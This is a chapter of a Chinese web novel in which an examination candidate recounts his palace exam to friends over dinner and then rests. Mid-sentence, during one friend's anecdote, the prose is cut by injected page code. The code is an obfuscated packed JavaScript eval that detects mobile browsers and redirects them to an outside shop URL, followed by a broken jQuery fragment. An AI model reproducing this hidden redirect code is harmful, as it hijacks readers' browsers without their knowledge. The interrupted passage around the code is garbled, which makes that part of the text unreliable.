191.第 191 章

作品:《科举之寒门弟子六元及第

    第一百九十一章答卷已毕


    马车辘辘驶回竹石居的路上,林湛靠在车壁上,闭着眼睛。


    累,是真累。从寅时起身到现在,近五个时辰站下来,膝盖发僵,后背发酸,连握笔的右手食指都还在微微发麻。但他心里,却有种奇异的空明感。


    答卷已经交上去了。那篇关于黄河治理的文章,从“工财民吏”四维框架,到沿途民生的具体数据,再到“可持续”的核心理念,该说的都说了,能写的都写了。文风是否够雄健?逻辑是否够严密?这些现在想也无用。


    “少爷,到了。”铁柱掀开车帘。


    林湛睁开眼,夕阳下的竹石居院门静静开着。他下车,腿有些软,扶了下车辕才站稳。


    刚进院子,就被围住了。


    “怎么样怎么样?”沈千机第一个冲过来,眼睛发亮,“皇上问了什么?你怎么答的?”


    王砚之递过一盏温茶:“林兄先喝口水。”


    周文渊已经拿出了小本和笔,推了推眼镜:“请详述每个环节,包括皇上问话的语调、你的应对时间、以及其他贡士的表现——我需要数据。”


    李慕白则仔细观察林湛的脸色:“林兄气色尚可,就是有些疲惫。赵师傅炖了参鸡汤,一直在灶上温着。”


    陈致远没说话,只是搬了把椅子过来。


    林湛坐下,喝了口茶,润了润干涩的喉咙。然后从寅时起身开始,把一天的经过细细道来:宫门前的列队、广场上的等候、皇帝的驾临、策问的题目、庑房里的答卷、丹陛下的陈述……乃至那只落在窗台的麻雀、那位差点晕厥的贡士、还有陕西贡士冒出的那句方言。


    众人听得屏息凝神。沈千机听到“河工专款”时拍腿:“就该这么办!账目清楚才好办事!”周文渊则飞快记录着各项时间节点和数据。王砚之关注的是礼仪细节:“转身后退那三步,可还稳当?”李慕白点头:“林兄应对得体。”


    等讲到十个贡士各自陈述的观点时,众人更是议论纷纷。


    “孙文清那个‘迁而安,移而富’说得好。”王砚之沉吟,“这才是为民着想。”


    “植树固堤那个最实在。”陈致远道,“边关筑城也常在墙根种刺丛,一个道理。”


    沈千机却摸着下巴:“要我说,那个讲‘小水利’的最聪明——大事化小,分段治理,这思路做生意也适用。”


    周文渊推眼镜:“从数据看,十人观点虽有侧重,但都紧扣‘务实’二字。这应与皇上近年批示风格相符。”


    正说着,赵师傅端了鸡汤出来。浓浓的参香飘了满院,汤面上浮着金黄的油花,里头沉着几块炖得酥烂的鸡肉。


    林湛喝了一口,热汤顺着喉咙下去,整个身子都暖了起来。他这才觉出饿来——早上那碗面,早就耗光了。


    铁柱又端来几碟小菜:醋溜白菜、酱瓜、还有一碟赵师傅拿手的卤豆干。众人围坐,就着鸡汤,简单吃了顿晚食。


    饭桌上,话题自然又绕回答卷。


    “林兄那篇策论,”李慕白放下筷子,“文风想必是雄健的。我记得你写文章,向来不尚浮华。”


    王砚之点头:“逻辑更是林兄所长。那‘四维一体’的框架,层层递进,想必严密。”


    林湛笑了笑:“文章已交,是好是坏,现在多想也无益。”


    “这话实在。”沈千机夹了块豆干,“就像我们交了大单的报价,之后成不成,是东家的事。咱们该做的都做了,剩下等消息就是。”


    周文渊却若有所思:“从概率上分析,林兄会元出身,殿试文章只要中上,一甲希望很大。而今日陈述,皇上既然详问‘系统治理’之意,说明对林兄观点有兴趣——这是积极信号。”


    “周兄又开始算了。”沈千机乐。


    “数据说话。”周文渊一本正经。


    饭后,天色已全黑。书房里点起灯,但今晚没人看书。大家只是坐着闲聊,说些轻松的话。


    沈千机讲起他第一次去江南进货,被当地方言搞得晕头转向的笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293208|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话。王砚之说起幼时背书,把“子曰”记成“子日”,被先生打了手板。李慕白则回忆家中老仆讲过的宫廷轶事,说某位老尚书面圣时紧张,把“臣惶恐”说成了“臣肚子饿”,惹得先帝大笑。


    连陈致远都难得开口,说了段边关军营里的趣事:有个新兵第一次见将军,敬礼时太过用力,直接把帽子甩飞了。


    书房里笑声阵阵。铁柱和赵师傅也在廊下听着,跟着笑。


    林湛靠在椅背上,听着这些闲谈,看着烛光里朋友们生动的脸。这一刻,殿试的紧张、答卷的思虑、等待的焦灼,都暂时远去了。


    他想起答卷上的最后一句话:“治河非一役之功,乃社稷长久之业。臣虽愚钝,愿以实心,行实事,谋实利,如此而已。”


    是的,如此而已。该表达的已经表达,该尽力的已经尽力。


    亥时初,大家散去休息。林湛最后一个离开书房。吹熄蜡烛前,他看了一眼书案——那上面空荡荡的,没有摊开的书,没有写字的纸,只有一盏将尽的油灯。


    答卷已经交上去了。所有那些关于数据、框架、逻辑、文风的思虑,都已经凝在那几张宣纸上,此刻正存放在礼部的某处,等待着最终的评判。


    他吹熄灯,走出书房。院子里月光很好,照得青石板泛着柔和的银白。墙角那丛竹子被风吹得沙沙响,影子在地上轻轻摇晃。


    远处传来隐约的梆子声。二更了。


    林湛回到卧房,脱下那身贡士袍,仔细叠好。皮护膝解下时,膝盖处果然已经磨得发红。他换上常服,躺到床上。


    闭上眼睛,没有辗转反侧,也没有回想白天的细节。只是觉得,心里很踏实。


    窗外,不知谁家的猫轻轻叫了一声,又安静了。


    而在礼部衙门深处的一间屋子里,十份刚刚从宫中取回的殿试答卷,正整整齐齐地摆在长案上。烛光下,纸卷微微泛黄,墨迹已干。其中一份的卷面上,那“臣林湛谨对”几个字,笔力遒劲,在光晕中显得格外清晰。